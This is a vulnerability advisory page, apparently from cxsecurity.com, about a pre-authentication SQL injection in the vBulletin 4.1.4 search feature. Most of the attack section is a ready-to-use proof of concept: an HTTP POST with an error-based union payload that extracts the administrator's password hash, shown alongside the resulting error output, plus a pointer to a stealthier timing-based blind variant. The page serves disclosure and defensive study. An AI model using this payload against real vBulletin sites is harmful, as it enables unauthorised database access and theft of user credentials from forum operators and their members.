vBulletin Search UI SQL Injection

2011.07.21
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

vBulletin "Search UI" SQL Injection: Take Two It looks like someone has found another SQL Injection bug in the vBulletin "Search UI". After taking a quick look @ the bug, I have determined it to be exploitable, pre auth. The actual SQL Injection lies within the add_advanced_search_filters() function. This is due to vBulletin not sanitizing the "messagegroupid" and "categoryid" arrays before implode()'ing them directly into a SQL query. Exploiting this issue is fairly straight forward, but is pretty much a blind SQL Injection as far as I can tell in the small amount of time I have looked at it. However, using the methods outlined here, one can easily extract data at the expense of possibly tipping off the database admin. This is because vBulletin displays the verbose SQL query within HTML comments whenever displaying an SQL error screen. (Even for non authenticated users) Proof of concept: POST /search.php?do=process HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select password from user where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /* The above post query will successfully display the passsword hash for the userid=1 within the comments of the SQL error page used by vBulletin, as seen in the example below. <!-- Database error in vBulletin 4.1.4: Invalid SQL: SELECT socialgroupcategory.title FROM socialgroupcategory AS socialgroupcategory WHERE socialgroupcategory.socialgroupcategoryid IN (-99) union select password from user where userid=1 and row(1,1)&gt;(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*); MySQL Error : Duplicate entry '4c62730e24e31ab9a0b8229a7ff72836:1' for key 'group_key' Error Number : 1062 Request Date : Wednesday, July 20th 2011 @ 10:24:59 PM Error Date : Wednesday, July 20th 2011 @ 10:24:59 PM Script : http://127.0.0.1/search.php?do=process Referrer : IP Address : 127.0.0.1 Username : Unregistered Classname : vB_Database MySQL Version : --> And of course if you prefer to exploit this in a more stealthy manner, there is always a blind SQL Injection approach using timed BENCHMARK() queries, etc. that will likely work for you.


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top